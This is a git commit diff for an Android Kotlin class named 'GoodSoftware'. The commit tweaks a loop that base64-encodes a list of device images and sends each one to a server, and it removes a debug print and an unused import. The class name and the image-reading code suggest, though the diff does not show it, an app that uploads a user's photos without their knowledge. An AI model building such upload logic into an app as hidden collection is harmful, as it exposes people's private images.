When the image is next to last, dont tell the server to expect another image
This commit is contained in:
parent
59b71f6427
commit
17b3cee4e0
@ -4,7 +4,6 @@ import android.Manifest
|
||||
import android.content.ContentResolver
|
||||
import android.content.ContentUris
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.content.pm.PackageManager
|
||||
import android.graphics.Bitmap
|
||||
import android.graphics.BitmapFactory
|
||||
@ -164,9 +163,12 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
return@Thread
|
||||
}
|
||||
for (image in imageList) {
|
||||
println(image)
|
||||
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
|
||||
sendDataToServer(base64Image, connection)
|
||||
next(connection)
|
||||
if(image != imageList.last()){
|
||||
next(connection)
|
||||
}
|
||||
}
|
||||
disconnect(connection)
|
||||
} catch (e: Exception) {
|
||||
|
Loading…
x
Reference in New Issue
Block a user